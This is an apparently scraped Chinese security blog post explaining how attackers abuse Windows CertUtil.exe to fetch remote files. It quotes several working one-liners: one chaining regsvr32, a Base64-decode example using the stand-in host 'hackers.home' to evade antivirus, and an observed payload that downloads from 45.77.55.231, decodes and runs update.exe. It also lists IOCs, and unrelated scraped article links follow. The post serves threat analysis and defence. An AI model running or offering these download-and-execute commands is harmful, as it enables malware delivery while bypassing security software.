使用CertUtil.exe下载远程文件

证书 https://www.cnblogs.com/17bdw/p/8728656.html

1、前言

经过国外文章信息,CertUtil.exe下载恶意软件的样本。

2、实现原理

Windows有一个名为CertUtil的内置程序,可用于在Windows中管理证书。使用此程序可以在Windows中安装,备份,删除,管理和执行与证书和证书存储相关的各种功能。

CertUtil的一个特性是能够从远程URL下载证书或任何其他文件。

使用语法 :


"certutil.exe -urlcache -split -f [URL] output.file"

Casey Smith(https://twitter.com/subTee) 在2017年就已经公布的相关利用方法。


certutil -urlcache -split -f [serverURL] file.blah regsvr32.exe /s /u /I:file.blah scrub.dll

3、实际例子

目前在威胁情报平台里已经可以搜索到利用这种手法的相关病毒样本,样本中利用的方法:

4、混淆方式

  • 使用CertUtil + Base64来绕过安全软件

通过Base64对恶意文件进行编码,使恶意代码样本看起来像是无害的文本文件,然后使用CertUtil.exe下载后对其进行解码。下载了文本文件使用“Certutil.exe -decode”命令将Base64编码文件解码为可执行文件。


C:\Temp>certutil.exe -urlcache -split -f "https://hackers.home/badcontent.txt" bad.txt C:\Temp>certutil.exe -decode bad.txt bad.exe

在F5 Labs上有一篇利用漏洞的文章中提到了利用certutil下载文件的方式攻击Web服务器。Payload部分内容如下:

一旦文件下载并使用certutil进行 base64解码,它将被保存为update.exe并执行。

certutil -urlcache -split -f http://45.77.55.231/update.b64 update.b64&certutil -decode update.b64 update.exe&update.exe

5、样本HASH与分析结果

  • 分析平台分析结果:

https://www.hybrid-analysis.com/sample/87cf118bff58c38bc0d54c1d3fcc553e381df838437a99a2006dd8f726406c16?environmentId=100 https://www.virustotal.com/en/file/1a3cd50fcc7a454025a641ffcc941353b4a7998c36066b399c72cb8cbff61071/analysis/1522278762/ https://www.hybrid-analysis.com/sample/4faf0c88f41121038709e9a9d134736dfadf6e1f1f4fdb6812fc69818a9e8572?environmentId=100 https://www.hybrid-analysis.com/sample/3bdecb8b3aaad6822a15011e5c9f10663c3ead64a61350148518b32f176ba02c?environmentId=100
  • IOC(Indicators of Compromise)

    • IP:
45[.]77[.]55[.]231
181[.]214[.]87[.]240
181[.]214[.]87[.]241
148[.]251[.]133[.]246
    • 文件名与HASH值:
update.b64: 66107b01bc93c8d4cf2e8a6a8faffb56
update.exe: 5bb5d3cb837d97174eddc681ca98aa80
msi64.zip: 8d8b8abe93aea52f9865f045a49912ae
SearchIndexer.exe: 1dd8ea5dd6975eb3d0dd14d71d1a404d
mssearch.exe: 47d3a5023d0cbe76a030bfac7bcfe2f2

6、参考

https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/
https://f5.com/labs/articles/threat-intelligence/malware/old-dog-new-targets-switching-to-windows-to-mine-electroneum
https://www.bleepingcomputer.com/news/security/regsvr32-can-be-used-to-install-ransomware-through-jscript-installers/

=========================== End

使用CertUtil.exe下载远程文件的更多相关文章

  1. WPF下载远程文件,并显示进度条和百分比

    WPF下载远程文件,并显示进度条和百分比 1.xaml <ProgressBar HorizontalAlignment="Left" Height="10&quo ...

  2. java下载远程文件到本地

    java下载远程文件到本地(转载:http://www.cnblogs.com/qqzy168/archive/2013/02/28/2936698.html)   /**       * 下载远程文 ...

  3. PHP下载远程文件到指定目录

    PHP用curl可以轻松实现下载远程文件到指定目录: <?php class Download { public static function get($url, $file) { retur ...

  4. 关于下载远程文件为未知文件.txt的解决方法

    本地下载文件后缀正常,服务器下载文件后缀都为.txt的解决方法: 后缀为 未知文件.txt 的原因为前端无权限获取Content-Disposition中的文件名 response.setHeader ...

  5. php下载远程文件方法~

    直接上代码: getFile("http://easyread.ph.126.net/N8gDl6ayo5wLgKbgT21NZQ==/7917056565549478184.jpg&quo ...

  6. 使用CURL下载远程文件保存到服务器

    比如微信公众平台开发,下载用户的头像到服务器上: /** * 使用CURL获取远程文件保存到服务器 *@param $image=$oJSON->headimgurl; 获取到的微信返回的头像U ...

  7. PHP下载远程文件的3种方法以及性能考虑

    今天在做导出Excel的时候,总是要测试导出的Excel文件,频繁的下载和打开,很麻烦 就想着写段代码一气呵成  服务端导出Excel==>下载Excel文件到本地==>并打开的操作. 这 ...

  8. 再见Xshell、Xftp!Python执行Linux命令、上传下载远程文件

    相信大家应该都接触过Linux操作系统(Ubuntu.Centos等),那么在使用的Linux操作系统需要使用一些远程ssh工具,尤其是公网服务器. 常用的ssh工具主要有:Xshell.MobaXt ...

  9. 第一个shell脚本 结合计划任务下载远程文件

    思路: 进入/usr/local/apache2/htdocs/ipa/  循环读取 /root/shell/wget/down.txt  每次一行,每一行直接就是一条命令,直接 $line 就可以执 ...

随机推荐

  1. hdoj - 1864 最大报销额

    Problem Description 现有一笔经费可以报销一定额度的发票.允许报销的发票类型包括买图书(A类).文具(B类).差旅(C类),要求每张发票的总额不得超过1000元,每张发票上,单项物品 ...

  2. 块元素&行内元素

    大多数HTML 元素被定义为块级元素或内联元素.块级元素在浏览器显示时,通常会以新行来开始(和结束) block元素特点 1 总是在新行上开始: 2 高度,行高以及外边距和内边距都可控制: 3 宽度缺 ...

  3. 安装OpenStack Queens版本的教程推荐

    为了加深对OpenStack的理解,需要自己分模块安装一次,之前都是用devstack安装,傻瓜式安装虽然方便,但是也减少了我对OpenStack理解的深度. 本人参考如下文档安装成功过 http:/ ...

  4. Java-内存模型 synchronized 的内存语义

    synchronized 具有使每个线程依次排队操作共享变量的功能.这种同步机制效率很低,但 synchronized 是其它并发容器实现的基础. 一.锁对象及 synchronized 的使用 sy ...

  5. Mysql创建测试大量测试数据

    修改mysql配置 max_heap_table_size=4000M innodb_flush_log_at_trx_commit=0sync_binlog=500 创建测试数据库 create d ...

  6. Java线程同步的Monitor机制(Lock配合Condition)

    Monitor模式是一种常见的并行开发机制, 一个Monitor实例可以被多个线程安全使用, 所有的monitor下面的方法在运行时是互斥的, 这种互斥机制机制可以用于一些特性, 例如让线程等待某种条 ...

  7. Spark布隆过滤器(bloomFilter)

    数据过滤在很多场景都会应用到,特别是在大数据环境下.在数据量很大的场景实现过滤或者全局去重,需要存储的数据量和计算代价是非常庞大的.很多小伙伴第一念头肯定会想到布隆过滤器,有一定的精度损失,但是存储性 ...

  8. chrome浏览器postman 插件安装

    postman 软件功能 模拟各种HTTPrequests 从常用的GET.POST到RESTful的PUT.DELETE…等等.甚至还可以发送文件.送出额外的header. Collection功能 ...

  9. iptables的statistic模块配置rr

    网上搜的是这样的 : iptables -A PREROUTING -t nat -d 172.17.64.8 -m statistic --mode nth --every 2 --packet 0 ...

  10. 【SSH进阶之路】Hibernate映射——一对多关联映射(七)

    上上篇博文[SSH进阶之路]Hibernate映射——一对一单向关联映射(五),我们介绍了一对一的单向关联映射,单向是指只能从人(Person)这端加载身份证端(IdCard),但是反过来,不能从身份 ...